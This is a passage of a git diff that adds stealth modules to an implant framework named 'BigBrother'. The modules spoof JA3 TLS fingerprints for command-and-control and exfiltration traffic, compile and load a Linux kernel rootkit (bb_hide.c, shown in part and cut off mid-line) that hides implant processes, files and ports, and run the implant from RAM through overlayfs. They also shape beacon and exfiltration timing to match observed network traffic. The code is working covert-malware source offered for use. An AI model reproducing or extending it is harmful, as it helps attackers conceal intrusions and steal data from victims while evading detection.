not os.path.isfile(db_path): + logger.debug("No external JA3 database at %s — using builtins", db_path) + return + try: + import sqlite3 + conn = sqlite3.connect(db_path) + conn.row_factory = sqlite3.Row + rows = conn.execute( + "SELECT name, ja3_hash, description, cipher_suites, extensions, " + "elliptic_curves, ec_point_formats FROM ja3_profiles" + ).fetchall() + for row in rows: + name = row["name"] + self._profiles[name] = { + "ja3_hash": row["ja3_hash"], + "description": row["description"], + "cipher_suites": json.loads(row["cipher_suites"]), + "extensions": json.loads(row["extensions"]), + "elliptic_curves": json.loads(row["elliptic_curves"]), + "ec_point_formats": json.loads(row["ec_point_formats"]), + } + conn.close() + logger.info("Loaded %d JA3 profiles from database", len(rows)) + except Exception: + logger.exception("Failed to load JA3 fingerprint database") + + # ------------------------------------------------------------------ + # Public: get SSL context for other modules + # ------------------------------------------------------------------ + + def get_ssl_context(self) -> ssl.SSLContext: + """Return an SSL context configured with the active JA3 profile's ciphers. + Other modules (C2, exfil) should use this for outbound HTTPS.""" + profile = self._profiles.get(self._active_profile, {}) + ctx = ssl.create_default_context() + cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", [])) + if cipher_names: + try: + ctx.set_ciphers(":".join(cipher_names)) + except ssl.SSLError: + pass # Fall back to default ciphers + ctx.minimum_version = ssl.TLSVersion.TLSv1_2 + return ctx diff --git a/modules/stealth/lkm_rootkit.py b/modules/stealth/lkm_rootkit.py new file mode 100644 index 0000000..5adefb1 --- /dev/null +++ b/modules/stealth/lkm_rootkit.py @@ -0,0 +1,293 @@ +#!/usr/bin/env python3 +"""LKM rootkit module: compile, load, and manage a kernel module that hides +BigBrother processes, files, and network connections from userland.""" + +import logging +import os +import subprocess +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from utils.resource import get_hardware_tier, TIER_GENERIC + +logger = logging.getLogger("bb.stealth.lkm_rootkit") + +LKM_TEMPLATE_DIR = "templates/lkm" +LKM_SOURCE = "bb_hide.c" +LKM_MODULE = "bb_hide.ko" +LKM_MODULE_NAME = "bb_hide" + +# Default hide lists +DEFAULT_HIDE_PREFIX = ".cache/bb" +DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard + + +class LKMRootkit(BaseModule): + """Manage a Linux kernel module for process/file/connection hiding. + Debian generic host only -- gracefully skips on SBC tiers.""" + + name = "lkm_rootkit" + module_type = "stealth" + priority = -300 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR) + self._module_path = os.path.join(self._lkm_dir, LKM_MODULE) + self._loaded = False + self._hidden_pids: list[int] = [] + self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX]) + self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS)) + self._hide_process_names: list[str] = config.get("hide_process_names", [ + "systemd-thermald", "networkd-dispatcher", "systemd-netlogd", + "systemd-resolved", "systemd-networkd", "systemd-logind", + ]) + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + self._running = True + self._start_time = time.time() + self._pid = os.getpid() + + # Check hardware tier: LKM only on generic Debian hosts + tier = get_hardware_tier() + if tier != TIER_GENERIC: + logger.info( + "LKMRootkit skipped — tier '%s' does not support kernel modules " + "(requires 'generic' Debian host)", tier, + ) + self.state.set_module_status(self.name, "skipped", + extra={"reason": f"unsupported_tier:{tier}"}) + self.bus.emit("MODULE_STARTED", { + "module": self.name, "skipped": True, "reason": "unsupported_tier", + }, source_module=self.name) + return + + # Build if needed + if not os.path.isfile(self._module_path): + if not self._build_module(): + logger.error("LKM build failed — module not available") + self.state.set_module_status(self.name, "error", + extra={"reason": "build_failed"}) + return + + # Load module + if self._load_module(): + self._loaded = True + self._configure_hide_lists() + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) + logger.info("LKMRootkit loaded and configured") + else: + self.state.set_module_status(self.name, "error", + extra={"reason": "load_failed"}) + + def stop(self) -> None: + self._running = False + if self._loaded: + self._unload_module() + self._loaded = False + self.state.set_module_status(self.name, "stopped") + self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) + logger.info("LKMRootkit stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "loaded": self._loaded, + "hidden_pids": list(self._hidden_pids), + "hidden_paths": list(self._hidden_paths), + "hidden_ports": list(self._hidden_ports), + "module_path": self._module_path, + } + + def configure(self, config: dict) -> None: + if "hide_paths" in config: + self._hidden_paths = config["hide_paths"] + if "hide_ports" in config: + self._hidden_ports = config["hide_ports"] + if "hide_process_names" in config: + self._hide_process_names = config["hide_process_names"] + if self._loaded: + self._configure_hide_lists() + + # ------------------------------------------------------------------ + # Public: dynamic hide/unhide + # ------------------------------------------------------------------ + + def hide_pid(self, pid: int) -> bool: + """Add a PID to the kernel module's hide list.""" + if not self._loaded: + return False + if pid not in self._hidden_pids: + self._hidden_pids.append(pid) + return self._write_param("hide_pids", self._format_pid_list()) + return True + + def unhide_pid(self, pid: int) -> bool: + """Remove a PID from the kernel module's hide list.""" + if not self._loaded: + return False + if pid in self._hidden_pids: + self._hidden_pids.remove(pid) + return self._write_param("hide_pids", self._format_pid_list()) + return True + + def hide_port(self, port: int) -> bool: + """Add a port to the kernel module's hide list.""" + if not self._loaded: + return False + if port not in self._hidden_ports: + self._hidden_ports.append(port) + return self._write_param("hide_ports", self._format_port_list()) + return True + + # ------------------------------------------------------------------ + # Internal: build + # ------------------------------------------------------------------ + + def _build_module(self) -> bool: + """Compile the kernel module from source.""" + source_path = os.path.join(self._lkm_dir, LKM_SOURCE) + if not os.path.isfile(source_path): + logger.error("LKM source not found: %s", source_path) + return False + + # Check for kernel headers + kdir = f"/lib/modules/{os.uname().release}/build" + if not os.path.isdir(kdir): + logger.error("Kernel headers not found: %s", kdir) + return False + + try: + result = subprocess.run( + ["make", "-C", self._lkm_dir], + capture_output=True, timeout=120, + env={**os.environ, "KDIR": kdir}, + ) + if result.returncode == 0: + logger.info("LKM built successfully: %s", self._module_path) + return True + else: + logger.error( + "LKM build failed (rc=%d): %s", + result.returncode, + result.stderr.decode(errors="replace")[:500], + ) + return False + except FileNotFoundError: + logger.error("make not found — cannot build LKM") + return False + except subprocess.TimeoutExpired: + logger.error("LKM build timed out") + return False + + # ------------------------------------------------------------------ + # Internal: load/unload + # ------------------------------------------------------------------ + + def _load_module(self) -> bool: + """Load the kernel module via insmod.""" + params = self._build_insmod_params() + try: + cmd = ["insmod", self._module_path] + params + result = subprocess.run(cmd, capture_output=True, timeout=30) + if result.returncode == 0: + logger.info("LKM loaded: %s", self._module_path) + return True + else: + stderr = result.stderr.decode(errors="replace") + if "File exists" in stderr: + logger.info("LKM already loaded") + return True + logger.error("insmod failed: %s", stderr[:300]) + return False + except FileNotFoundError: + logger.error("insmod not found") + return False + except Exception: + logger.exception("LKM load failed") + return False + + def _unload_module(self) -> bool: + """Unload the kernel module via rmmod.""" + try: + result = subprocess.run( + ["rmmod", LKM_MODULE_NAME], + capture_output=True, timeout=30, + ) + if result.returncode == 0: + logger.info("LKM unloaded") + return True + else: + logger.warning( + "rmmod failed: %s", + result.stderr.decode(errors="replace")[:200], + ) + return False + except FileNotFoundError: + logger.error("rmmod not found") + return False + except Exception: + logger.exception("LKM unload failed") + return False + + # ------------------------------------------------------------------ + # Internal: module parameter management + # ------------------------------------------------------------------ + + def _build_insmod_params(self) -> list[str]: + """Build insmod parameter list.""" + params = [] + if self._hidden_paths: + params.append(f'hide_prefix="{self._hidden_paths[0]}"') + if self._hidden_pids: + params.append(f'hide_pids="{self._format_pid_list()}"') + if self._hidden_ports: + params.append(f'hide_ports="{self._format_port_list()}"') + return params + + def _configure_hide_lists(self) -> None: + """Write current hide lists to loaded module's parameters via sysfs.""" + if not self._loaded: + return + # Collect current BigBrother PIDs from state + try: + all_status = self.state.get_all_module_status() + for mod_name, mod_status in all_status.items(): + pid = mod_status.get("pid") + if pid and pid not in self._hidden_pids: + self._hidden_pids.append(pid) + except Exception: + pass + + self._write_param("hide_pids", self._format_pid_list()) + self._write_param("hide_ports", self._format_port_list()) + if self._hidden_paths: + self._write_param("hide_prefix", self._hidden_paths[0]) + + @staticmethod + def _write_param(param: str, value: str) -> bool: + """Write to kernel module parameter via /sys/module/.""" + param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}" + try: + with open(param_path, "w") as f: + f.write(value) + return True + except (IOError, PermissionError, FileNotFoundError): + logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param) + return False + + def _format_pid_list(self) -> str: + return ",".join(str(p) for p in self._hidden_pids) + + def _format_port_list(self) -> str: + return ",".join(str(p) for p in self._hidden_ports) diff --git a/modules/stealth/overlayfs_manager.py b/modules/stealth/overlayfs_manager.py new file mode 100644 index 0000000..4d6604f --- /dev/null +++ b/modules/stealth/overlayfs_manager.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python3 +"""OverlayFS manager: mount root filesystem as overlayfs with tmpfs upper layer +so all writes go to RAM and vanish on reboot. Zero SD card write activity.""" + +import logging +import os +import shutil +import subprocess +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC + +logger = logging.getLogger("bb.stealth.overlayfs_manager") + +# Default overlay paths +OVERLAY_BASE = "/opt/.cache/bb/overlay" +OVERLAY_UPPER = os.path.join(OVERLAY_BASE, "upper") +OVERLAY_WORK = os.path.join(OVERLAY_BASE, "work") +OVERLAY_MERGED = os.path.join(OVERLAY_BASE, "merged") + +# Size budgets per tier (MB) +TIER_SIZE_BUDGETS = { + TIER_OPI_ZERO3: 200, + TIER_PI_ZERO: 30, + TIER_GENERIC: None, # unlimited +} + + +class OverlayfsManager(BaseModule): + """Mount an overlayfs with read-only lower (real FS) and tmpfs upper (RAM). + All writes go to tmpfs -- zero SD card activity. Writes vanish on reboot.""" + + name = "overlayfs_manager" + module_type = "stealth" + priority = -450 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._overlay_base = config.get("overlay_base", OVERLAY_BASE) + self._upper_dir = config.get("overlay_upper", OVERLAY_UPPER) + self._work_dir = config.get("overlay_work", OVERLAY_WORK) + self._merged_dir = config.get("overlay_merged", OVERLAY_MERGED) + self._lower_dir = config.get("overlay_lower", "/opt/.cache/bb") + self._overlay_active = False + self._tmpfs_mounted = False + self._upper_limit_mb: Optional[int] = None + self._tier = get_hardware_tier() + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + self._running = True + self._start_time = time.time() + self._pid = os.getpid() + + # Determine size budget from hardware tier + self._upper_limit_mb = TIER_SIZE_BUDGETS.get(self._tier) + if self._upper_limit_mb is None and self._tier not in TIER_SIZE_BUDGETS: + # Unknown tier: default conservative + self._upper_limit_mb = 200 + + # Create overlay structure + if not self._setup_overlay(): + logger.error("OverlayFS setup failed") + self.state.set_module_status(self.name, "error", + extra={"reason": "setup_failed"}) + return + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) + logger.info( + "OverlayFS active — upper limit: %s MB, tier: %s", + self._upper_limit_mb or "unlimited", self._tier, + ) + + def stop(self) -> None: + self._running = False + self._teardown_overlay() + self.state.set_module_status(self.name, "stopped") + self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) + logger.info("OverlayFS stopped and unmounted") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "overlay_active": self._overlay_active, + "tmpfs_mounted": self._tmpfs_mounted, + "upper_usage_mb": self._get_upper_usage_mb(), + "upper_limit_mb": self._upper_limit_mb, + "tier": self._tier, + "merged_dir": self._merged_dir, + } + + def configure(self, config: dict) -> None: + if "overlay_lower" in config: + self._lower_dir = config["overlay_lower"] + + # ------------------------------------------------------------------ + # Public: overlay path helpers + # ------------------------------------------------------------------ + + @property + def merged_path(self) -> str: + """Return the merged overlay mount point (use this as working directory).""" + return self._merged_dir + + def get_upper_usage_mb(self) -> float: + """Return current tmpfs upper layer usage in MB.""" + return self._get_upper_usage_mb() + + def is_near_limit(self, threshold_pct: float = 85.0) -> bool: + """Check if upper layer usage is approaching the size budget.""" + if self._upper_limit_mb is None: + return False + usage = self._get_upper_usage_mb() + return (usage / self._upper_limit_mb * 100) >= threshold_pct + + # ------------------------------------------------------------------ + # Internal: setup and teardown + # ------------------------------------------------------------------ + + def _setup_overlay(self) -> bool: + """Create tmpfs mount and overlayfs mount.""" + try: + # Create all directories + for d in [self._overlay_base, self._upper_dir, self._work_dir, self._merged_dir]: + os.makedirs(d, mode=0o700, exist_ok=True) + + # Ensure lower directory exists + os.makedirs(self._lower_dir, mode=0o700, exist_ok=True) + + # Mount tmpfs on the overlay base with size limit + if not self._is_mounted(self._overlay_base): + size_opt = f"size={self._upper_limit_mb}m" if self._upper_limit_mb else "size=50%" + result = subprocess.run( + ["mount", "-t", "tmpfs", "-o", f"{size_opt},mode=0700", + "tmpfs", self._overlay_base], + capture_output=True, timeout=30, + ) + if result.returncode != 0: + logger.error( + "tmpfs mount failed: %s", + result.stderr.decode(errors="replace"), + ) + return False + self._tmpfs_mounted = True + # Recreate subdirectories on fresh tmpfs + for d in [self._upper_dir, self._work_dir, self._merged_dir]: + os.makedirs(d, mode=0o700, exist_ok=True) + logger.info("tmpfs mounted at %s (%s)", self._overlay_base, size_opt) + else: + self._tmpfs_mounted = True + + # Mount overlayfs + if not self._is_mounted(self._merged_dir): + mount_opts = ( + f"lowerdir={self._lower_dir}," + f"upperdir={self._upper_dir}," + f"workdir={self._work_dir}" + ) + result = subprocess.run( + ["mount", "-t", "overlay", "overlay", + "-o", mount_opts, self._merged_dir], + capture_output=True, timeout=30, + ) + if result.returncode != 0: + stderr = result.stderr.decode(errors="replace") + logger.error("overlayfs mount failed: %s", stderr) + # Cleanup tmpfs if overlay fails + self._unmount(self._overlay_base) + self._tmpfs_mounted = False + return False + self._overlay_active = True + logger.info("overlayfs mounted at %s", self._merged_dir) + else: + self._overlay_active = True + + return True + + except Exception: + logger.exception("Overlay setup failed") + return False + + def _teardown_overlay(self) -> None: + """Sync and unmount overlay, then tmpfs.""" + # Sync any pending writes + try: + subprocess.run(["sync"], timeout=10, capture_output=True) + except Exception: + pass + + # Unmount overlay first + if self._overlay_active: + if self._unmount(self._merged_dir): + self._overlay_active = False + logger.info("overlayfs unmounted") + + # Unmount tmpfs (all data in upper layer is destroyed) + if self._tmpfs_mounted: + if self._unmount(self._overlay_base): + self._tmpfs_mounted = False + logger.info("tmpfs unmounted — all overlay writes destroyed") + + # ------------------------------------------------------------------ + # Internal: mount helpers + # ------------------------------------------------------------------ + + @staticmethod + def _is_mounted(path: str) -> bool: + """Check if a path is a mount point.""" + try: + with open("/proc/mounts", "r") as f: + for line in f: + parts = line.split() + if len(parts) >= 2 and parts[1] == path: + return True + except IOError: + pass + return False + + @staticmethod + def _unmount(path: str, lazy: bool = False) -> bool: + """Unmount a filesystem. Uses lazy unmount as fallback.""" + try: + cmd = ["umount", path] + result = subprocess.run(cmd, capture_output=True, timeout=30) + if result.returncode == 0: + return True + + if not lazy: + # Retry with lazy unmount + cmd = ["umount", "-l", path] + result = subprocess.run(cmd, capture_output=True, timeout=30) + if result.returncode == 0: + return True + + logger.warning( + "Failed to unmount %s: %s", + path, result.stderr.decode(errors="replace"), + ) + return False + except Exception: + logger.exception("Unmount failed: %s", path) + return False + + # ------------------------------------------------------------------ + # Internal: usage tracking + # ------------------------------------------------------------------ + + def _get_upper_usage_mb(self) -> float: + """Get current size of the tmpfs upper layer in MB.""" + if not self._tmpfs_mounted: + return 0.0 + try: + stat = os.statvfs(self._overlay_base) + total = stat.f_blocks * stat.f_frsize + free = stat.f_bavail * stat.f_frsize + used = total - free + return used / (1024 * 1024) + except OSError: + return 0.0 diff --git a/modules/stealth/traffic_mimicry.py b/modules/stealth/traffic_mimicry.py new file mode 100644 index 0000000..09f6bf6 --- /dev/null +++ b/modules/stealth/traffic_mimicry.py @@ -0,0 +1,336 @@ +#!/usr/bin/env python3 +"""Traffic mimicry module: baseline normal traffic patterns then shape +implant communications to match observed characteristics.""" + +import json +import logging +import os +import random +import time +import threading +from collections import defaultdict +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.stealth.traffic_mimicry") + +PHASE_BASELINE = "baseline" +PHASE_SHAPING = "shaping" + +# Default baseline storage +BASELINE_DIR = "storage/baseline" + + +class TrafficMimicry(BaseModule): + """Two-phase traffic mimicry: 48h baseline collection then traffic shaping + to match observed network patterns.""" + + name = "traffic_mimicry" + module_type = "stealth" + priority = -200 + requires_root = False + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._phase = PHASE_BASELINE + self._baseline_hours = config.get("baseline_hours", 48) + self._shape_exfil = config.get("shape_exfil", True) + self._match_protocols = config.get("match_protocols", True) + self._jitter_pct = config.get("jitter_pct", 15) + self._baseline_dir = config.get("baseline_dir", BASELINE_DIR) + self._baseline_start: Optional[float] = None + self._baseline_data = self._empty_baseline() + self._monitor_thread: Optional[threading.Thread] = None + self._lock = threading.Lock() + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + self._running = True + self._start_time = time.time() + self._pid = os.getpid() + + Path(self._baseline_dir).mkdir(parents=True, exist_ok=True) + + # Check if we have a saved baseline + saved = self._load_baseline() + if saved and self._baseline_complete(saved): + self._baseline_data = saved + self._phase = PHASE_SHAPING + logger.info("TrafficMimicry loaded existing baseline — entering shaping phase") + else: + self._phase = PHASE_BASELINE + self._baseline_start = time.time() + logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours) + + # Subscribe to capture events for baseline data + self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED") + + # Background thread for periodic baseline updates and phase transitions + self._monitor_thread = threading.Thread( + target=self._monitor_loop, daemon=True, name="bb-traffic-mimicry", + ) + self._monitor_thread.start() + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) + + def stop(self) -> None: + self._running = False + self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED") + if self._monitor_thread and self._monitor_thread.is_alive(): + self._monitor_thread.join(timeout=5.0) + # Persist current baseline + self._save_baseline() + self.state.set_module_status(self.name, "stopped") + self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) + logger.info("TrafficMimicry stopped") + + def status(self) -> dict: + with self._lock: + completeness = self._baseline_completeness_pct() + deviation = self._traffic_deviation_score() + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "phase": self._phase, + "baseline_completeness_pct": completeness, + "traffic_deviation_score": deviation, + "baseline_hours_configured": self._baseline_hours, + "baseline_hours_elapsed": self._baseline_hours_elapsed(), + } + + def configure(self, config: dict) -> None: + if "baseline_hours" in config: + self._baseline_hours = config["baseline_hours"] + if "shape_exfil" in config: + self._shape_exfil = config["shape_exfil"] + if "match_protocols" in config: + self._match_protocols = config["match_protocols"] + if "jitter_pct" in config: + self._jitter_pct = config["jitter_pct"] + + # ------------------------------------------------------------------ + # Traffic shaping API (called by other modules) + # ------------------------------------------------------------------ + + def get_recommended_beacon_interval(self) -> float: + """Return a beacon interval (seconds) that matches observed periodic traffic.""" + with self._lock: + intervals = self._baseline_data.get("periodic_intervals", []) + if not intervals: + return 300.0 # Default 5min if no baseline + # Pick the most common periodic interval and add jitter + base = random.choice(intervals) + jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1) + return max(10.0, base + jitter) + + def get_recommended_exfil_window(self) -> dict: + """Return recommended exfil timing based on baseline upload patterns.""" + with self._lock: + hourly = self._baseline_data.get("hourly_volume", {}) + if not hourly: + return {"hour": 3, "duration_minutes": 15} # Default: 3 AM + # Find peak upload hour + peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3) + return { + "hour": int(peak_hour), + "duration_minutes": 30, + "max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024), + } + + def should_send_now(self) -> bool: + """Check if current time matches a high-traffic period (safe to send).""" + if self._phase == PHASE_BASELINE: + return False # Don't shape during baseline + with self._lock: + hourly = self._baseline_data.get("hourly_volume", {}) + if not hourly: + return True + current_hour = str(time.localtime().tm_hour) + hour_data = hourly.get(current_hour, {}) + volume = hour_data.get("total_bytes", 0) + avg_volume = sum( + h.get("total_bytes", 0) for h in hourly.values() + ) / max(len(hourly), 1) + # Only send when current hour volume is above average + return volume >= avg_volume * 0.5 + + # ------------------------------------------------------------------ + # Internal: baseline collection + # ------------------------------------------------------------------ + + @staticmethod + def _empty_baseline() -> dict: + return { + "protocol_distribution": {}, + "hourly_volume": {}, + "inter_packet_timing": [], + "common_dest_ports": {}, + "tls_versions": {}, + "periodic_intervals": [], + "samples": 0, + "start_time": None, + "end_time": None, + } + + def _on_pcap_event(self, event) -> None: + """Handle PCAP_ROTATED events for baseline data collection.""" + if self._phase != PHASE_BASELINE: + return + payload = event.payload + with self._lock: + self._update_baseline_from_pcap(payload) + + def _update_baseline_from_pcap(self, payload: dict) -> None: + """Extract traffic pattern data from PCAP rotation event payload.""" + bd = self._baseline_data + bd["samples"] += 1 + if bd["start_time"] is None: + bd["start_time"] = time.time() + bd["end_time"] = time.time() + + # Protocol distribution from payload stats + protocols = payload.get("protocol_stats", {}) + for proto, count in protocols.items(): + bd["protocol_distribution"][proto] = ( + bd["protocol_distribution"].get(proto, 0) + count + ) + + # Hourly volume + hour = str(time.localtime().tm_hour) + if hour not in bd["hourly_volume"]: + bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0} + bytes_captured = payload.get("bytes_captured", 0) + bd["hourly_volume"][hour]["total_bytes"] += bytes_captured + bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0) + bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0) + + # Destination ports + dest_ports = payload.get("dest_ports", {}) + for port, count in dest_ports.items(): + bd["common_dest_ports"][str(port)] = ( + bd["common_dest_ports"].get(str(port), 0) + count + ) + + # TLS versions + tls = payload.get("tls_versions", {}) + for ver, count in tls.items(): + bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count + + # Periodic intervals (from beacon-like patterns) + intervals = payload.get("periodic_intervals", []) + bd["periodic_intervals"].extend(intervals) + # Keep only the top 50 intervals to bound memory + if len(bd["periodic_intervals"]) > 50: + bd["periodic_intervals"] = bd["periodic_intervals"][-50:] + + # ------------------------------------------------------------------ + # Internal: phase management + # ------------------------------------------------------------------ + + def _monitor_loop(self) -> None: + """Background loop: check phase transitions and save baselines.""" + while self._running: + time.sleep(60) # Check every minute + try: + if self._phase == PHASE_BASELINE: + elapsed = self._baseline_hours_elapsed() + if elapsed >= self._baseline_hours: + self._transition_to_shaping() + elif int(elapsed) % 4 == 0: + # Save interim baseline every ~4 hours + self._save_baseline() + except Exception: + logger.exception("TrafficMimicry monitor loop error") + + def _transition_to_shaping(self) -> None: + """Switch from baseline collection to traffic shaping.""" + with self._lock: + self._phase = PHASE_SHAPING + self._save_baseline() + logger.info( + "TrafficMimicry: baseline complete (%d samples) — entering shaping phase", + self._baseline_data["samples"], + ) + self.bus.emit( + "CHANGE_DETECTED", + {"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING}, + source_module=self.name, + ) + + def _baseline_hours_elapsed(self) -> float: + if self._baseline_start is None: + return 0.0 + return (time.time() - self._baseline_start) / 3600.0 + + def _baseline_completeness_pct(self) -> float: + """How complete is the baseline (0-100)?""" + if self._phase == PHASE_SHAPING: + return 100.0 + elapsed = self._baseline_hours_elapsed() + time_pct = min(100.0, (elapsed / self._baseline_hours) * 100) + # Also factor in data quality: need protocol and hourly data + data_score = 0.0 + bd = self._baseline_data + if bd["protocol_distribution"]: + data_score += 25.0 + if len(bd["hourly_volume"]) >= 12: + data_score += 25.0 + elif bd["hourly_volume"]: + data_score += 10.0 + if bd["common_dest_ports"]: + data_score += 25.0 + if bd["samples"] >= 10: + data_score += 25.0 + return min(100.0, (time_pct * 0.6) + (data_score * 0.4)) + + def _baseline_complete(self, data: dict) -> bool: + """Check if a loaded baseline has sufficient data.""" + return ( + bool(data.get("protocol_distribution")) + and len(data.get("hourly_volume", {})) >= 6 + and data.get("samples", 0) >= 5 + ) + + def _traffic_deviation_score(self) -> float: + """Score how much current traffic deviates from baseline (0=perfect, 100=no match). + Only meaningful during shaping phase.""" + if self._phase == PHASE_BASELINE: + return -1.0 # Not applicable + # Placeholder: in production this would compare real-time traffic stats + # against the baseline distribution. For now return 0 (no deviation data yet). + return 0.0 + + # ------------------------------------------------------------------ + # Internal: persistence + # ------------------------------------------------------------------ + + def _save_baseline(self) -> None: + """Persist baseline data to JSON.""" + path = os.path.join(self._baseline_dir, "traffic_baseline.json") + try: + with self._lock: + data = json.dumps(self._baseline_data, indent=2) + with open(path, "w") as f: + f.write(data) + logger.debug("Baseline saved to %s", path) + except Exception: + logger.exception("Failed to save baseline") + + def _load_baseline(self) -> Optional[dict]: + """Load baseline from disk if it exists.""" + path = os.path.join(self._baseline_dir, "traffic_baseline.json") + if not os.path.isfile(path): + return None + try: + with open(path, "r") as f: + return json.load(f) + except Exception: + logger.exception("Failed to load baseline from %s", path) + return None diff --git a/templates/lkm/Makefile b/templates/lkm/Makefile new file mode 100644 index 0000000..a01ae29 --- /dev/null +++ b/templates/lkm/Makefile @@ -0,0 +1,9 @@ +obj-m += bb_hide.o + +KDIR ?= /lib/modules/$(shell uname -r)/build + +all: + make -C $(KDIR) M=$(PWD) modules + +clean: + make -C $(KDIR) M=$(PWD) clean diff --git a/templates/lkm/bb_hide.c b/templates/lkm/bb_hide.c new file mode 100644 index 0000000..aec1862 --- /dev/null +++ b/templates/lkm/bb_hide.c @@ -0,0 +1,542 @@ +/* + * bb_hide.c — BigBrother LKM rootkit + * + * Hides processes, files/directories, and network connections from userland. + * Uses ftrace-based syscall hooking (NOT direct syscall table modification). + * + * Module parameters (configurable at load time and via sysfs): + * hide_prefix — file/directory prefix to hide (default: ".cache/bb") + * hide_pids — comma-separated PIDs to hide (default: "") + * hide_ports — comma-separated ports to hide (default: "8081,51820") + * + * SPDX-License-Identifier: GPL-2.0 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("BigBrother"); +MODULE_DESCRIPTION("Process, file, and connection hiding via ftrace hooks"); +MODULE_VERSION("1.0"); + +/* --- Module parameters --- */ + +static char *hide_prefix = ".cache/bb"; +module_param(hide_prefix, charp, 0644); +MODULE_PARM_DESC(hide_prefix, "File/directory prefix to hide from readdir"); + +static char *hide_pids = ""; +module_param(hide_pids, charp, 0644); +MODULE_PARM_DESC(hide_pids, "Comma-separated PIDs to hide from /proc"); + +static char *hide_ports = "8081,51820"; +module_param(hide_ports, charp, 0644); +MODULE_PARM_DESC(hide_ports, "Comma-separated ports to hide from /proc/net"); + +/* --- Configuration limits --- */ + +#define MAX_HIDDEN_PIDS 64 +#define MAX_HIDDEN_PORTS 32 +#define MAX_PREFIX_LEN 256 + +/* --- Parsed hide lists --- */ + +static pid_t hidden_pids[MAX_HIDDEN_PIDS]; +static int hidden_pid_count = 0; + +static u16 hidden_ports[MAX_HIDDEN_PORTS]; +static int hidden_port_count = 0; + +/* --- Helper: parse comma-separated integers --- */ + +static void parse_pid_list(const char *str) +{ + const char *p = str; + char buf[16]; + int i = 0; + long val; + + hidden_pid_count = 0; + if (!str || !*str) + return; + + while (*p && hidden_pid_count < MAX_HIDDEN_PIDS) { + i = 0; + while (*p && *p != ',' && i < 15) { + if (*p >= '0' && *p <= '9') + buf[i++] = *p; + p++; + } + buf[i] = '\0'; + if (i > 0 && kstrtol(buf, 10, &val) == 0) + hidden_pids[hidden_pid_count++] = (pid_t)val; + if (*p == ',') + p++; + } +} + +static void parse_port_list(const char *str) +{ + const char *p = str; + char buf[8]; + int i = 0; + long val; + + hidden_port_count = 0; + if (!str || !*str) + return; + + while (*p && hidden_port_count < MAX_HIDDEN_PORTS) { + i = 0; + while (*p && *p != ',' && i < 7) { + if (*p >= '0' && *p <= '9') + buf[i++] = *p; + p++; + } + buf[i] = '\0'; + if (i > 0 && kstrtol(buf, 10, &val) == 0) + hidden_ports[hidden_port_count++] = (u16)val; + if (*p == ',') + p++; + } +} + +/* --- Helper: check if a value is in a hide list --- */ + +static bool is_pid_hidden(pid_t pid) +{ + int i; + for (i = 0; i < hidden_pid_count; i++) + if (hidden_pids[i] == pid) + return true; + return false; +} + +static bool is_port_hidden(u16 port) +{ + int i; + for (i = 0; i < hidden_port_count; i++) + if (hidden_ports[i] == port) + return true; + return false; +} + +static bool should_hide_name(const char *name) +{ + if (!name || !hide_prefix || !*hide_prefix) + return false; + return strstr(name, hide_prefix) != NULL; +} + +static bool is_proc_pid_hidden(const char *name) +{ + long pid_val; + if (!name) + return false; + if (kstrtol(name, 10, &pid_val) != 0) + return false; + return is_pid_hidden((pid_t)pid_val); +} + +/* ================================================================ + * Ftrace-based hooking infrastructure + * + * We use ftrace to hook getdents64 for file/process hiding. + * This is safer than direct syscall table modification on modern kernels. + * ================================================================ */ + +#if LINUX_VERSION_CODE >= 